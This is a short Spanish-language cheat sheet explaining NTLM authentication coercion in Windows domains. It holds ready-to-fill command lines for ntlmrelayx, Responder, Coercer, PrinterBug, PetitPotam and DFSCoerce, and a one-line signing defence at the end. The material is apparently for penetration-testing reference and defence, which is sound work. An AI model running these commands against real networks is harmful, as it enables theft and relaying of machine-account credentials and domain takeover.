Qué es
La coerción de autenticación obliga a una máquina remota a autenticarse contra un host que el atacante elige. No espera a que una víctima cometa un error: fuerza la conexión cuando quiere. La autenticación forzada sale de la cuenta de máquina, incluso la de un Domain Controller.
Cómo funciona
Windows autentica solo al acceder a una ruta UNC como \\<HOST>\share.
Varios métodos RPC aceptan una ruta como argumento y se conectan a ella sin validar el destino.
El atacante invoca uno de esos métodos y pasa su propio host como ruta.
La máquina objetivo obedece, se conecta y autentica con su cuenta de máquina.
La autenticación se dispara antes de que la llamada RPC termine: la herramienta puede imprimir un error mientras el ataque ya funcionó.
Esa autenticación se captura para descifrarla, o se relaya en vivo a otro sistema que acepte NTLM.
Comandos
Levanta el receptor de relay con ntlmrelayx y apúntalo al destino final:
ntlmrelayx.py -t ldaps://<DC_IP> -smb2support --delegate-accessO captura el hash NTLMv2 para descifrarlo fuera de línea con Responder:
responder -I <INTERFACE>Fuerza la autenticación con Coercer, que prueba muchos métodos RPC de una vez:
Coercer coerce -t <TARGET_IP> -l <LISTENER_IP> -u <USER> -p <PASSWORD> -d <DOMAIN>Abusa del spooler de impresión (PrinterBug) con printerbug.py:
printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> <LISTENER_IP>Abusa del protocolo EFSR (MS-EFSR) con PetitPotam:
PetitPotam.py -u <USER> -p <PASSWORD> -d <DOMAIN> <LISTENER_IP> <TARGET_IP>Abusa del protocolo DFS (MS-DFSNM) con dfscoerce.py:
dfscoerce.py -u <USER> -p <PASSWORD> -d <DOMAIN> <LISTENER_IP> <TARGET_IP>Cómo defenderse
Fuerza la firma SMB y LDAP en todo el dominio: sin firma que relayar, la autenticación forzada deja de escalar.